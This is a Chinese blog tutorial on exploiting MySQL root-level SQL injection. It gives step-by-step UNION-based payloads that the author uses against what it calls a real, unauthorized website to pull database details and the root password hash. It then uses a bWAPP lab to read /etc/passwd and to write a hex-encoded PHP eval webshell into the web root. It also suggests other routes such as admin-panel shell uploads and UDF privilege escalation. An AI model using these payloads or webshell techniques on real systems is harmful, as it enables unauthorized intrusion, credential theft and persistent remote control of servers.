出处:klion's blog
ID:i77169
1,mysql root权限,实例注入点,如下:
2,尝试用单引号去干扰vid参数,数据库报错,唉,竟然没顺带一起丢出目标网站的物理路径,差评,嘿嘿……
3,尝试闭合
&vid=192 and 1=112 条件为假时页面返回异常,再次注入点确实存在
4,获取当前表的字段个数,为后面union做准备
&vid=192 order by 31 个数为31目标页面返回正常
&vid=192 order by 32 个数为32时页面返回错误,可知当前表的字段个数为31个
5,开始执行union爆出对应的数据显示位
&vid=192 and 1=12 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 %23
6,搜集数据库信息,如下可知,这是个root权限的注入点,既然是root,那就好办了
&vid=192 and 1=12 UNION SELECT 1,2,3,4,5,user(),7,8,9,10,11,12,13,14,15,16,version(),18,19,20,@@basedir,22,23,24,25,26,27,28,29,30,31 %23
7,因为是真实站点,我就不瞎动别人东西了,希望大家也养成这样的习惯,不要随意去碰别人的东西,尤其是一些可能存在潜在危险的敏感操作,这里只是单纯查查肯定是没什么问题了,如果是别的就不一定了,(此后的所有的演示说明都是如此,一律点到为止,杜绝’深入探讨’),后面关于读写文件的操作,等会儿都会留在本地做,这里我们就尝试把它的root的密码hash查出来就可以了
&vid=192 and 1=12 UNION SELECT 1,2,3,4,5,user,7,8,9,10,11,12,13,14,15,16,password,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from mysql.user limit 0,1 %23
8,最终,得到的root的密码hash如下,如果是实际测试,你还可以顺手telnet下目标的3306,假设目标的mysql能外联,直接用nvaicat连上去操作也许会更方便点
root : *13AC03176D03A9F5C13CB*******
9,这里root权限下的读写操作,就以bwapp中的注入练习为例进行说明了,首先,我们尝试读取目标系统中的/etc/passwd文件,下面的十六进制数据是/etc/passwd hex后的内容
and 1=12 UNION SELECT 1,load_file(0x2ff706173737764),3,4,5,6,7 %23&action=go
10,依然是上面的注入点,这次我们尝试向目标的网站目录中写入php一句话,下面的十六进制数据的明文是<?php @eval($_POST[‘klion’]);?>,后面则是目标网站的物理路径,意思就是把这个一句话写到这个目录中,如下可以看到,提示不能写,原因很明显,因为以你当前的用户身份对这个目录是没有写权限的,如果想写进去,就只能自己动手去把权限放宽一些,因为这里是在本地测试,权限不够,自己给一下就可以了,但实际测试中,如果没权限,那你就只能看看读,如果读也不能读,mysql的root密码hash总也能查出来吧,再或者如果真的是权限被降的一塌糊涂,网站的管理表总归是可以查的吧,按正常的注入把管理员的账号查出来再登到后台传shell也是可以的
and 1=12 UNION SELECT 1,0x3c3f406576616c28245f504f53545b6b6c696f6e5d293f3e,3,4,5,6,7 into outfile '/var/www/bWAPP/admin/shell.php' %23&action=go
可以看到,当我们放开权限之后,shell被正常写进去了,虽然报了点警告,但无伤大雅
and 1=12 UNION SELECT 1,0x3c3f406576616c28245f504f53545b6b6c696f6e5d293f3e,3,4,5,6,7 into outfile '/var/www/bWAPP/admin/shell.php' %23&action=go
细心的表哥们可能会看到,这里的一句话掉了个分号,其实,在php中最后一行代码不加分号是可行的
执行似乎没什么问题,现在尝试用菜刀连一下,脚本正常执行,shell正常连接
关于mysql root权限下的权限利用需要注意的一些点:
(1),正常情况下mysql的root用户确实可以在数据库中为所欲为,但这并不意味着你在目标操作系统中也可以为所欲为,如果启动mysql服务的用户身份只是系统的一个普通用户,那么你在系统中的权限撑死了也就只是个普通用户权限,因为你继承的是那个启动mysql服务的用户权限,说这些只是为了让大家对于mysql root权限下的文件读写利用有个更清晰的认识,大多数时候你会发现,即使你确实是mysql的root用户,但依然没法正常的读写文件,原因就是我上面说的这些,因为你的mysql服务用户只是个普通用户权限,而这个用户对你要操作的那个目录或文件没有读写权限,自然就读写不了,当然,这是基于系统的文件系统权限而言。
(2),另外,还有一种情况,假设你对目标的网站目录有正常的读写权限,但是目标在安装完mysql以后对root用户进行了一些权限优化,比如,我想让root只能正常的增删改查,之外的权限全删掉,这时候,你再想进行文件读写,也可能是不行的,因为file权限很可能被干掉了
(3),最后,还可能会有一些别的情况,比如,网站目录被waf或其他的一些防护工具所监控,当你写webshell时,直接就被杀掉或者报警拦截之类的
(4),退一万步来讲,即使你真的没办法读写文件,但这并不妨碍你正常查询数据,拿到网站管理员的账号密码,登到后台传shell也是可以的,不用一条路走到黑,多变通
(5),其实,有时候也可以利用root用户执行系统命令,即udf,有一种提权方法,叫udf提权,利用的就是此特性,还是那句话,即使能执行系统命令,但这并不意味一定可以达到提权(对于linux来讲是直接提到root权限)的效果,关于udf的东西,我们后续再单独说,这里就暂时先放过
【一点小结】
其实,就mysql本身的文件读写来讲,非常简单,只是背后的权限映射,需要大家稍微理解下,个人觉得挺好理解的,又没什么拐弯抹角的,都是死东西,相信你只要以前好好琢磨过操作系统的用户组权限,这个对你来说,基本是一点就通,在操作系统中,所有的程序,都是工作在某种安全上下文中的,而这个安全上下文大多数都是由用户来控制和决定的,好吧,稍不留神又TM跑题了,汗……